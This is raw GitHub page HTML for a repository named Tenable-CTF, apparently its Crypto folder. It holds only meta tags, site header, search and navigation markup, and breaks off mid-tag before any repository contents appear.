data-pjax-transient="true"/><meta name="html-safe-nonce" content="cd1d0d27d08eb7c36c436b8cc05762eddf6f19b856a73c2fb65972b8a0f0d387" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCRTdGOjExQ0E5OjFGMzkxMDc6MjA5OURDMTo2MTgzMDc5NCIsInZpc2l0b3JfaWQiOiI1Njk4ODYzODY3NTY0ODUzMTQwIiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="f4a8479fee8f023980571fc4592e57c420283b91aeb61b189a41b97546f75aab" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:341297852" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/hugoreb/Tenable-CTF git https://github.com/hugoreb/Tenable-CTF.git"> <meta name="octolytics-dimension-user_id" content="56917045" /><meta name="octolytics-dimension-user_login" content="hugoreb" /><meta name="octolytics-dimension-repository_id" content="341297852" /><meta name="octolytics-dimension-repository_nwo" content="hugoreb/Tenable-CTF" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="341297852" /><meta name="octolytics-dimension-repository_network_root_nwo" content="hugoreb/Tenable-CTF" /> <link rel="canonical" href="https://github.com/hugoreb/Tenable-CTF/tree/main/Crypto" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="341297852" data-scoped-search-url="/hugoreb/Tenable-CTF/search" data-owner-scoped-search-url="/users/hugoreb/search" data-unscoped-search-url="/search" action="/hugoreb/Tenable-CTF/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="vZnb5hiBmFu2u8YlZykoFCweq8SLCKkmGwwJAMSprlyCuGWWV7Au/HSuYfwcYklf47iMSOh22uZUAShQJ9+UgQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> hugoreb </span> <span>/</span> Tenable-CTF <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 0 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 0 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 